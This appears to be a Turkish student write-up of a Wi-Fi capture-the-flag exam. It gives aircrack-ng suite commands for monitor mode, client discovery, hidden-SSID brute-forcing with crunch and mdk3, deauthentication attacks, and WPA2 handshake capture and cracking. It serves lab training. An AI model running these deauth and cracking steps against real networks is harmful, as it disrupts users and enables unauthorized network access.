CyberExam WIFI CTF Game Report

Ali Ekber KARA – Mahsun Kırmızıgul

Flag 1:

- airmon-ng start wlan0

diyerek wireless cardı monitor mode alıyoruz. Ardından aşağıdaki komutu girerek ağımızı tarıyoruz.

- airodump wlan0mon

İşaretli yerde Coffe Shop Access Point'inin channel ına ulaşıyoruz.

Flag 2:

Az önce yapmış olduğumuz taramadan CyberPath Access Point'inin BSSID si ile özel tarama yapıyoruz.

- airodump-ng –bssid 22:57:BC:C3:32:6F –channel 11 wlan0mon

komutunu kullanarak yaptığımız taramada aşağıda Client'ın MAC adresine ulaşmış oluyoruz.

```
CH(110] [ Elapsed:m12[sh] [e2024=03-03 12:23
BSSID
                  PWR RXQ Beacons
                                      #Data, #/s
                                                       MB
                                                            ENC CIPHER AUTH ESSID
22:57:B6:63:32:6F-0318ap 0
                               114
                                               0 11
                                                            WPA2 CCMP
                                                                        PSK CyberPath
BSSID
                  STATION
                                           Rate
                                                           Frames Notes Probes
22:57:B6:63:32:6F 4C:11:BF:21:12:21
                                            0 -54
```

Flag 3:

iwlist scan

komutunu kullanarak ağdaki tüm Access pointler ile birlikte tüm cihazları görebiliyoruz.

Bizim ilk yaptığımız taramada bulunan F0:9F:C2:AA:BB:CC BSSID sini yukarıdaki tarama içerisinden bulup SSID nin 6 karakterli olduğunu görebiliyoruz.

Bundan dolayı aşağıdaki komutu kullanarak ipucunda da verilen bilgiye dayanarak crunch ile bir wordlist oluşturuyoruz.

- crunch 6 6 "OTI5423" > defcon.txt

Daha sonra mdk3 toolu kullanılarak SSID Bruteforce yapılarak SSID'e ulaşıyoruz.

```
# mdk3 wlan1mon p -t F0:9F:C2:AA:BB:CC -f defcon.txt

SID Wordlist Mode activated!

aiting for beacon frame from target...

niffer thread started

SID is hidden. SSID Length is: 6.

ot response from F0:9F:C2:AA:BB:CC, SSID: "IT23IT"

ast try was: (null)
```

Flag 4:

- iwlist scan

Yukarıdaki taramada en son sırada channel 36'daki SSID nin gizli olduğunu görüyoruz.

```
1E: Unknown: /F080400400200000040
Cell 08 -
          Address: 1A:C8:E8:7E:35:58
          Channel:36
          Frequency:5.18 GHz (Channel 36)
          Quality=70/70 Signal level=-27 dBm
          Encryption key:on
          ESSID: ""
          Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
                     36 Mb/s; 48 Mb/s; 54 Mb/s
          Mode:Master
          Extra:tsf=000612c760a33044
          Extra: Last beacon: 6408ms ago
          IE: Unknown: 0000
          IE: Unknown: 01088C129824B048606C
          IE: Unknown: 030124
          IE: Unknown: 050400020000
          IE: Unknown: 070A55532024041795051E00
IE: IEEE 802.11i/WPA2 Version 1
               Group Cipher : CCMP
```

Buradaki MAC Adresini alarak airodump-ng aracı ile inceliyoruz.

- airodump-ng –bssid 1A:C8:E8:7E:35:58 -c 36 wlan1mon

komutu ile incelediğimizde bir clientin bağlı olduğunu görürüz. Deauth atağı ile clientin bağlantısını koparıp yeniden bağlanmasını sağlıyoruz. Bu şekilde SSID 'ye de ulaşmış oluyoruz.

- aireplay-ng -a 1A:C8:E8:7E:35:58 -0 10 wlan1mon

Flag 8:

CyberPath Access Pointe deauth saldırısı yaparak WPA-2 handshake ele geçiriyoruz. Bunu .cap uzantılı bir dosyaya yazdırıyoruz.

- airodump-ng -bssid 22:57:BC:C3:32:6F -channel 11 -w dump wlan0mon

Yukarıdaki komutu kullanarak handshake dosyasını dump-01.cap uzantılı dosyaya yazıyoruz.

Daha sonra aircrack-ng toolu ile masaüstünde bulunan wordlist dosyasını kullanarak handshake dosyasından passworde ulaşıyoruz.

- aircrack-ng -w wordlist.txt dump-01.cap

Flag 11: Yukarıda elde ettiğimiz handshake dosyasını wireshark da bootp filtresini kullanarak çıkan DHCP Discovery paketlerini incelediğimizde client'ın hostname'ine ulaşıyoruz.

